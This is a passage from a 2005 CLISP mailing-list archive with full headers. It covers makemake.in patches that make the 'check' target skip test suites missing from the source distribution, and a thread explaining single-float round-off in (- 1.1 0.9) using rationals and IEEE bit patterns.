<200507222023.j6MKNRrp084911@drjekyll.mkbuelow.net> (Matthias Buelow's message of "Fri, 22 Jul 2005 22:23:27 +0200") References: <200507222023.j6MKNRrp084911@drjekyll.mkbuelow.net> Mail-Followup-To: clisp-list@lists.sourceforge.net, Matthias Buelow Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: -0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 -0.1 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: bug with pasting forms into clisp Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Jul 22 13:45:51 2005 X-Original-Date: Fri, 22 Jul 2005 16:43:11 -0400 > * Matthias Buelow [2005-07-22 22:23:27 +0200]: > the previous patch was wrong. here is the correct one: -- Sam Steingold (http://www.podval.org/~sds) running w2k The difference between theory and practice is that in theory there isn't any. --- makemake.in 22 Jul 2005 11:50:28 -0400 1.584 +++ makemake.in 22 Jul 2005 16:42:03 -0400 @@ -3014,11 +3014,7 @@ CLISP_="${HERE_}lisp${LEXE} -M ${HERE_}lispinit.mem ${localeflags}${someflags}" if [ $CROSS = false ] ; then - - echol "# Perform self-tests." - echol "check : check-recompile check-fresh-line check-tests check-sacla-tests check-ansi-tests check-ansi-tests-compiled" - echodummyrule check - echol + CHECK_DEPS="check-recompile check-fresh-line check-tests" echol "# check the sources:" echol "# 1. subr.d, fsubr.d, subrkw.d and all the LISPFUNs must add up" @@ -3146,6 +3142,9 @@ done echol + # sacla-tests are not included in the source distribution + if test -d "${PARENT_SRCTOPDIR_}sacla-tests"; then + CHECK_DEPS=${CHECK_DEPS}" check-sacla-tests" SACLA_CLISP="../lisp${LEXE} -B .. -M ../lispinit.mem -N ../locale ${someflags} -i tests.lisp" echol "check-sacla-tests : ${SACLATESTSDIR} lisp${LEXE} lispinit.mem" echotab "cd ${SACLATESTSDIR} && ${SACLA_CLISP} -x '(ext:exit (> (nth-value 1 (run-all-tests)) 0))'" @@ -3157,7 +3156,11 @@ echotab "cd ${SACLATESTSDIR} && \$(LN_S) ${PARENT_SRCTOPDIR_}sacla-tests${NEXT_}${f} ." done echol + fi + # ansi-tests are not included in the source distribution + if test -d "${PARENT_SRCTOPDIR_}ansi-tests"; then + CHECK_DEPS=${CHECK_DEPS}" check-ansi-tests check-ansi-tests-compiled" ANSI_CLISP="../lisp${LEXE} -B .. -M ../lispinit.mem -N ../locale ${someflags} -m 30000KW -ansi -i clispload.lsp" echol "check-ansi-tests : ${ANSITESTSDIR} lisp${LEXE} lispinit.mem" echotab "cd ${ANSITESTSDIR} && ${ANSI_CLISP} -x '(in-package \"CL-TEST\") (time (regression-test:do-tests)) (ext:exit (regression-test:pending-tests))' 2>&1 | tee ../ansi-tests-log" @@ -3187,9 +3190,11 @@ done echotab "cd ${ANSITESTSDIR} && \$(LN_S) ${PARENT_SRCTOPDIR_}utils${NEXT_}clispload.lsp ." echol + fi # benchmarks are for developers only, and the developers work from the CVS if test -d ${SRCTOPDIR}CVS; then + CHECK_DEPS=${CHECK_DEPS}" bench" echol "bench : ${BENCHDIR}" echotab "CLISP=\"${CLISP_}\"; export CLISP; cd ${BENCHDIR}; \$(MAKE) CLISP=\"\$\$CLISP\" clisp" echol @@ -3200,6 +3205,11 @@ done echol fi + + echol "# Perform self-tests." + echol "check : ${CHECK_DEPS}" + echodummyrule check + echol echol fi From michal@sfires.net Fri Jul 22 14:03:00 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Dw4fc-00021T-Hd for clisp-list@lists.sourceforge.net; Fri, 22 Jul 2005 14:03:00 -0700 Received: from grendel.sisk.pl ([217.67.200.140] helo=mail.digitalservice.pl ident=[7kKd4V0xf3b0fhPSgA8ZH1u/H45xFJej]) by mail.sourceforge.net with smtp (Exim 4.44) id 1Dw4fb-0003sA-29 for clisp-list@lists.sourceforge.net; Fri, 22 Jul 2005 14:03:00 -0700 Received: (qmail 26351 invoked from network); 22 Jul 2005 21:00:52 -0000 Received: from localhost (?nmsYudZUh/oEA8i/yRozcGFZhjGREvFN?@127.0.0.1) by localhost with SMTP; 22 Jul 2005 21:00:52 -0000 Received: from mail.digitalservice.pl ([127.0.0.1]) by localhost (grendel [127.0.0.1]) (amavisd-new, port 10024) with SMTP id 26301-01 for ; Fri, 22 Jul 2005 23:00:45 +0200 (CEST) Received: (qmail 26344 invoked from network); 22 Jul 2005 21:00:45 -0000 Received: from localhost (HELO ?192.168.1.32?) (?ccxAiAPRcP1zrB6okKeY7eDsxpirDbZO?@127.0.0.1) by localhost with SMTP; 22 Jul 2005 21:00:45 -0000 Message-ID: <42E15E81.7040008@sfires.net> From: michal kabata User-Agent: Mozilla Thunderbird 1.0.2 (X11/20050317) X-Accept-Language: en-us, en MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net Content-Type: text/plain; charset=ISO-8859-2; format=flowed Content-Transfer-Encoding: 7bit X-Virus-Scanned: by amavisd-new at grendel.digitalservice.pl using MkS_Vir for Linux (beta) X-Spam-Score: 1.0 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.0 FORGED_RCVD_HELO Received: contains a forged HELO Subject: [clisp-list] numbers - error in substraction Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Jul 22 14:05:45 2005 X-Original-Date: Fri, 22 Jul 2005 23:00:49 +0200 Hi, I haven't encountered such thing before in clisp, but this migh be old (but I can't find it in archives). I've tested current cvs build right now. [1]> (- 1.1 0.9) 0.20000005 is not something I was expecting to see, it's almost javascript style ;) It's the same with (- (+ 1 0.1) (- 1 0.1)) and so on. Error gets bigger for bigger numbers, as one would suspect, but on the other hand some calculations come out ok. I've played around with code in ffloat.c - FF_FF_minus_FF(). As far as I can see, problem seems to be with float_to_FF() "macro". And there's my problem - my german is very very poor, so it's hard for me to debug code written and commented in german. Has anyone encountered same thing and maybe solved it? Or maybe someone here wrote that code? Best regards, Mike From mkb@incubus.de Fri Jul 22 14:28:49 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Dw54a-0003Vj-1Z for clisp-list@lists.sourceforge.net; Fri, 22 Jul 2005 14:28:48 -0700 Received: from incubus.de ([80.237.207.83] helo=luzifer.incubus.de ident=postfix) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1Dw54Y-0001M9-Nj for clisp-list@lists.sourceforge.net; Fri, 22 Jul 2005 14:28:48 -0700 Received: from drjekyll.mkbuelow.net (p54AA8693.dip0.t-ipconnect.de [84.170.134.147]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (No client certificate requested) by luzifer.incubus.de (Postfix) with ESMTP id 446E632F69 for ; Fri, 22 Jul 2005 23:31:35 +0200 (CEST) Received: from drjekyll.mkbuelow.net (mkb@localhost.mkbuelow.net [127.0.0.1]) by drjekyll.mkbuelow.net (8.13.3/8.13.3) with ESMTP id j6MLSoJi065593 for ; Fri, 22 Jul 2005 23:28:50 +0200 (CEST) (envelope-from mkb@drjekyll.mkbuelow.net) Message-Id: <200507222128.j6MLSoJi065593@drjekyll.mkbuelow.net> From: Matthias Buelow To: clisp-list@lists.sourceforge.net In-Reply-To: Message from Sam Steingold of "Fri, 22 Jul 2005 16:37:15 EDT." X-Mailer: MH-E 7.84; nmh 1.0.4; XEmacs 21.4 (patch 17) X-Spam-Score: 1.0 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.0 FORGED_RCVD_HELO Received: contains a forged HELO 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ 0.0 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: bug with pasting forms into clisp Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Jul 22 14:30:30 2005 X-Original-Date: Fri, 22 Jul 2005 23:28:50 +0200 >ouch - sacla-tests are not included in the source distribution >(only in the CVS tree). >how about the appended patch? You still need to remove the now nonexistent targets from the "check" target, otherwise it bombs. I suggest the following patch instead (against pristine 2.34 makemake.in): *** makemake.in.orig Tue Jul 19 04:01:19 2005 --- makemake.in Fri Jul 22 23:17:38 2005 *************** *** 3015,3021 **** if [ $CROSS = false ] ; then echol "# Perform self-tests." ! echol "check : check-recompile check-fresh-line check-tests check-sacla-tests check-ansi-tests check-ansi-tests-compiled" echodummyrule check echol --- 3015,3031 ---- if [ $CROSS = false ] ; then echol "# Perform self-tests." ! ! # sacla-tests and ansi-tests are not included in the source distribution ! extratests= ! if test -d "${PARENT_SRCTOPDIR_}sacla-tests"; then ! extratests="$extratests check-sacla-tests" ! fi ! if test -d "${PARENT_SRCTOPDIR_}ansi-tests"; then ! extratests="$extratests check-ansi-tests check-ansi-tests-compiled" ! fi ! echol "check : check-recompile check-fresh-line check-tests $extratests" ! echodummyrule check echol From pjb@informatimago.com Fri Jul 22 14:39:38 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Dw5F3-0003x2-U7 for clisp-list@lists.sourceforge.net; Fri, 22 Jul 2005 14:39:37 -0700 Received: from larissa.informatimago.com ([62.93.174.78] ident=postfix) by mail.sourceforge.net with esmtp (Exim 4.44) id 1Dw5Ey-0003Nr-Vd for clisp-list@lists.sourceforge.net; Fri, 22 Jul 2005 14:39:38 -0700 Received: by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386), from userid 501) id 850CF58344; Fri, 22 Jul 2005 23:39:09 +0200 (CEST) Received: from thalassa.informatimago.com (thalassa.informatimago.com [62.93.174.79]) by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386)) with ESMTP id 1296B5833D; Fri, 22 Jul 2005 23:38:53 +0200 (CEST) Received: by thalassa.informatimago.com (Postfix, from userid 1000) id D5C9C10FBF3; Fri, 22 Jul 2005 23:38:52 +0200 (CEST) From: Pascal Bourguignon MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <17121.26476.75643.47774@thalassa.informatimago.com> To: michal kabata Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] numbers - error in substraction In-Reply-To: <42E15E81.7040008@sfires.net> References: <42E15E81.7040008@sfires.net> X-Mailer: VM 7.17 under Emacs 22.0.50.1 Reply-To: Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en X-Spam-Checker-Version: SpamAssassin 3.0.1 (2004-10-22) on larissa.informatimago.com X-Spam-Status: No, score=-3.1 required=5.0 tests=ALL_TRUSTED,BAYES_00, UNWANTED_LANGUAGE_BODY autolearn=ham version=3.0.1 X-Spam-Level: X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 AWL AWL: From: address is in the auto white-list Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Jul 22 14:40:47 2005 X-Original-Date: Fri, 22 Jul 2005 23:38:52 +0200 michal kabata writes: > I haven't encountered such thing before in clisp, but this migh be old > (but I can't find it in archives). I've tested current cvs build right now. > > [1]> (- 1.1 0.9) > 0.20000005 > > is not something I was expecting to see, it's almost javascript style ;) > It's the same with (- (+ 1 0.1) (- 1 0.1)) and so on. Error gets bigger > for bigger numbers, as one would suspect, but on the other hand some > calculations come out ok. > I've played around with code in ffloat.c - FF_FF_minus_FF(). As far as I > can see, problem seems to be with float_to_FF() "macro". And there's my > problem - my german is very very poor, so it's hard for me to debug code > written and commented in german. Has anyone encountered same thing and > maybe solved it? Or maybe someone here wrote that code? You may want to use rationals instead of floating-point numbers: [232]> (- 11/10 9/10) 1/5 Common Lisp is a _practical_ language. Therefore in some aspects it's very high level (it has rational numbers), but in other aspects it's designed to be efficient on available hardware therefore it is specified to use floating-point numbers. And for good or for evil, the reader syntax 1.1 and 0.9 correspond to floating-point numbers. When you write 1.1 or 0.9, you DON'T get 11/10 or 9/10. You get: 3F8CCCCD and 3F666666 (hex) and when you subtract these two floating point numbers, you get: S Exponent Mantissa 1.1 --> 3F8CCCCD = 0 01111111 (1).00011001100110011001101 = (1).00011001100110011001101 * 2^0 0.9 --> 3F666666 = 0 01111110 (1).11001100110011001100110 = (1).11001100110011001100110 * 2^(-1) = (0).111001100110011001100110 * 2^0 and: (1).00011001100110011001101 - (0).111001100110011001100110 ------------------------------ = 0 .00110011001100110011010 = (1).10011001100110011010000 * 2^(-3) 3E4CCCD0 = 0 01111100 (1).10011001100110011010000 --> 0.20000005 There are various packages that implement reader macros to read decimal numbers as rational instead of floating-point if you need to do financial or other exact computations. -- __Pascal Bourguignon__ http://www.informatimago.com/ Our enemies are innovative and resourceful, and so are we. They never stop thinking about new ways to harm our country and our people, and neither do we. -- Georges W. Bush From mkb@incubus.de Fri Jul 22 14:41:20 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Dw5Gi-00040J-Lj for clisp-list@lists.sourceforge.net; Fri, 22 Jul 2005 14:41:20 -0700 Received: from incubus.de ([80.237.207.83] helo=luzifer.incubus.de ident=postfix) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1Dw5Gi-0006Wd-Dl for clisp-list@lists.sourceforge.net; Fri, 22 Jul 2005 14:41:20 -0700 Received: from drjekyll.mkbuelow.net (p54AA8693.dip0.t-ipconnect.de [84.170.134.147]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (No client certificate requested) by luzifer.incubus.de (Postfix) with ESMTP id 4F9AD32F98 for ; Fri, 22 Jul 2005 23:44:08 +0200 (CEST) Received: from drjekyll.mkbuelow.net (mkb@localhost.mkbuelow.net [127.0.0.1]) by drjekyll.mkbuelow.net (8.13.3/8.13.3) with ESMTP id j6MLfOmL094971 for ; Fri, 22 Jul 2005 23:41:24 +0200 (CEST) (envelope-from mkb@drjekyll.mkbuelow.net) Message-Id: <200507222141.j6MLfOmL094971@drjekyll.mkbuelow.net> From: Matthias Buelow To: clisp-list@lists.sourceforge.net In-Reply-To: Message from Sam Steingold of "Fri, 22 Jul 2005 16:43:11 EDT." X-Mailer: MH-E 7.84; nmh 1.0.4; XEmacs 21.4 (patch 17) X-Spam-Score: 1.0 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.0 FORGED_RCVD_HELO Received: contains a forged HELO 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: bug with pasting forms into clisp Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Jul 22 14:42:43 2005 X-Original-Date: Fri, 22 Jul 2005 23:41:24 +0200 Sam Steingold writes: >the previous patch was wrong. >here is the correct one: works aswell. mkb. From sds@gnu.org Fri Jul 22 14:47:02 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Dw5MB-0004BR-J9 for clisp-list@lists.sourceforge.net; Fri, 22 Jul 2005 14:46:59 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1Dw5M8-0004sw-5G for clisp-list@lists.sourceforge.net; Fri, 22 Jul 2005 14:46:59 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.41.52.183]) by alphatech.com (8.12.11/8.12.11) with ESMTP id j6MLkfjB023537; Fri, 22 Jul 2005 17:46:42 -0400 (EDT) To: clisp-list@lists.sourceforge.net, michal kabata Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <42E15E81.7040008@sfires.net> (michal kabata's message of "Fri, 22 Jul 2005 23:00:49 +0200") References: <42E15E81.7040008@sfires.net> Mail-Followup-To: clisp-list@lists.sourceforge.net, michal kabata Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ -0.0 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: numbers - error in substraction Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Jul 22 14:48:42 2005 X-Original-Date: Fri, 22 Jul 2005 17:45:59 -0400 > * michal kabata [2005-07-22 23:00:49 +0200]: > > [1]> (- 1.1 0.9) > 0.20000005 this is a normal round-off error. Allegro returns the same. -- Sam Steingold (http://www.podval.org/~sds) running w2k I just forgot my whole philosophy of life!!! From mkb@incubus.de Fri Jul 22 14:55:06 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Dw5U2-0004Yr-GG for clisp-list@lists.sourceforge.net; Fri, 22 Jul 2005 14:55:06 -0700 Received: from incubus.de ([80.237.207.83] helo=luzifer.incubus.de ident=postfix) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1Dw5U0-0001MV-52 for clisp-list@lists.sourceforge.net; Fri, 22 Jul 2005 14:55:06 -0700 Received: from drjekyll.mkbuelow.net (p54AA8693.dip0.t-ipconnect.de [84.170.134.147]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (No client certificate requested) by luzifer.incubus.de (Postfix) with ESMTP id 52C8632FC2; Fri, 22 Jul 2005 23:57:39 +0200 (CEST) Received: from drjekyll.mkbuelow.net (mkb@localhost.mkbuelow.net [127.0.0.1]) by drjekyll.mkbuelow.net (8.13.3/8.13.3) with ESMTP id j6MLspkE095128; Fri, 22 Jul 2005 23:54:55 +0200 (CEST) (envelope-from mkb@drjekyll.mkbuelow.net) Message-Id: <200507222154.j6MLspkE095128@drjekyll.mkbuelow.net> From: Matthias Buelow To: pjb@informatimago.com Cc: michal kabata , clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] numbers - error in substraction In-Reply-To: Message from Pascal Bourguignon of "Fri, 22 Jul 2005 23:38:52 +0200." <17121.26476.75643.47774@thalassa.informatimago.com> X-Mailer: MH-E 7.84; nmh 1.0.4; XEmacs 21.4 (patch 17) X-Spam-Score: 1.1 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.0 FORGED_RCVD_HELO Received: contains a forged HELO 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_BACKSLASH BODY: Text interparsed with \ 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Jul 22 14:57:46 2005 X-Original-Date: Fri, 22 Jul 2005 23:54:51 +0200 Pascal Bourguignon writes: >> [1]> (- 1.1 0.9) >> 0.20000005 >Common Lisp is a _practical_ language. Therefore in some aspects it's >very high level (it has rational numbers), but in other aspects it's >designed to be efficient on available hardware therefore it is >specified to use floating-point numbers. And for good or for evil, >the reader syntax 1.1 and 0.9 correspond to floating-point numbers. >When you write 1.1 or 0.9, you DON'T get 11/10 or 9/10. >You get: 3F8CCCCD and 3F666666 (hex) Doesn't clisp use C doubles internally? I also get the 0.20000005 but in a small C program (see below) I get: % ./a.out 1.1-0.9=0.20000000000000006661 % cat t.c #include int main() { printf("1.1-0.9=%#1.20f\n", 1.1-0.9); return 0; } mkb. From pjb@informatimago.com Fri Jul 22 15:13:04 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Dw5lQ-0005Qc-0P for clisp-list@lists.sourceforge.net; Fri, 22 Jul 2005 15:13:04 -0700 Received: from larissa.informatimago.com ([62.93.174.78] ident=postfix) by mail.sourceforge.net with esmtp (Exim 4.44) id 1Dw5lN-0001NE-6W for clisp-list@lists.sourceforge.net; Fri, 22 Jul 2005 15:13:03 -0700 Received: by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386), from userid 501) id 3E55D585BE; Sat, 23 Jul 2005 00:12:50 +0200 (CEST) Received: from thalassa.informatimago.com (thalassa.informatimago.com [62.93.174.79]) by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386)) with ESMTP id D5C6A58344; Sat, 23 Jul 2005 00:12:42 +0200 (CEST) Received: by thalassa.informatimago.com (Postfix, from userid 1000) id D567510FBF3; Sat, 23 Jul 2005 00:12:40 +0200 (CEST) From: Pascal Bourguignon MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <17121.28504.818607.975712@thalassa.informatimago.com> To: Matthias Buelow Cc: pjb@informatimago.com, michal kabata , clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] numbers - error in substraction In-Reply-To: <200507222154.j6MLspkE095128@drjekyll.mkbuelow.net> References: <17121.26476.75643.47774@thalassa.informatimago.com> <200507222154.j6MLspkE095128@drjekyll.mkbuelow.net> X-Mailer: VM 7.17 under Emacs 22.0.50.1 Reply-To: Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en X-Spam-Checker-Version: SpamAssassin 3.0.1 (2004-10-22) on larissa.informatimago.com X-Spam-Status: No, score=-3.1 required=5.0 tests=ALL_TRUSTED,BAYES_00, UNWANTED_LANGUAGE_BODY autolearn=ham version=3.0.1 X-Spam-Level: X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 AWL AWL: From: address is in the auto white-list Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Jul 22 15:15:55 2005 X-Original-Date: Sat, 23 Jul 2005 00:12:40 +0200 Matthias Buelow writes: > Pascal Bourguignon writes: > > >> [1]> (- 1.1 0.9) > >> 0.20000005 > >Common Lisp is a _practical_ language. Therefore in some aspects it's > >very high level (it has rational numbers), but in other aspects it's > >designed to be efficient on available hardware therefore it is > >specified to use floating-point numbers. And for good or for evil, > >the reader syntax 1.1 and 0.9 correspond to floating-point numbers. > >When you write 1.1 or 0.9, you DON'T get 11/10 or 9/10. > >You get: 3F8CCCCD and 3F666666 (hex) > > Doesn't clisp use C doubles internally? Not by default: [8]> (- 1.1s0 0.9s0) 0.200005s0 [9]> (- 1.1e0 0.9e0) 0.20000005 [10]> (- 1.1d0 0.9d0) 0.20000000000000007d0 [11]> (- 1.1l0 0.9l0) 0.20000000000000000004L0 [12]> (- 1.1 0.9) 0.20000005 (and setting CUSTOM:*DEFAULT-FLOAT-FORMAT* doesn't seem to have effect in 2.33.83). -- __Pascal Bourguignon__ http://www.informatimago.com/ Cats meow out of angst "Thumbs! If only we had thumbs! We could break so much!" From michal@sfires.net Fri Jul 22 15:19:37 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1Dw5rl-0005rp-3F for clisp-list@lists.sourceforge.net; Fri, 22 Jul 2005 15:19:37 -0700 Received: from grendel.sisk.pl ([217.67.200.140] helo=mail.digitalservice.pl ident=[rt35X+lrlEeg7rOfSIfOirQGJlYevQ/O]) by mail.sourceforge.net with smtp (Exim 4.44) id 1Dw5rj-0002nv-GU for clisp-list@lists.sourceforge.net; Fri, 22 Jul 2005 15:19:37 -0700 Received: (qmail 27962 invoked from network); 22 Jul 2005 22:17:38 -0000 Received: from localhost (?I0ITCrqwjlOex7Nz/+wW9Ovr/4wOtnZH?@127.0.0.1) by localhost with SMTP; 22 Jul 2005 22:17:38 -0000 Received: from mail.digitalservice.pl ([127.0.0.1]) by localhost (grendel [127.0.0.1]) (amavisd-new, port 10024) with SMTP id 27830-04 for ; Sat, 23 Jul 2005 00:17:30 +0200 (CEST) Received: (qmail 27955 invoked from network); 22 Jul 2005 22:17:30 -0000 Received: from localhost (HELO ?192.168.1.32?) (?uWpikpVC2m88WxxT0bMm8QWvWVh+RwrP?@127.0.0.1) by localhost with SMTP; 22 Jul 2005 22:17:30 -0000 Message-ID: <42E17087.1020702@sfires.net> From: michal kabata User-Agent: Mozilla Thunderbird 1.0.2 (X11/20050317) X-Accept-Language: en-us, en MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net References: <42E15E81.7040008@sfires.net> In-Reply-To: Content-Type: text/plain; charset=ISO-8859-2; format=flowed Content-Transfer-Encoding: 7bit X-Virus-Scanned: by amavisd-new at grendel.digitalservice.pl using MkS_Vir for Linux (beta) X-Spam-Score: 1.0 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.0 FORGED_RCVD_HELO Received: contains a forged HELO Subject: [clisp-list] Re: numbers - error in substraction Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , 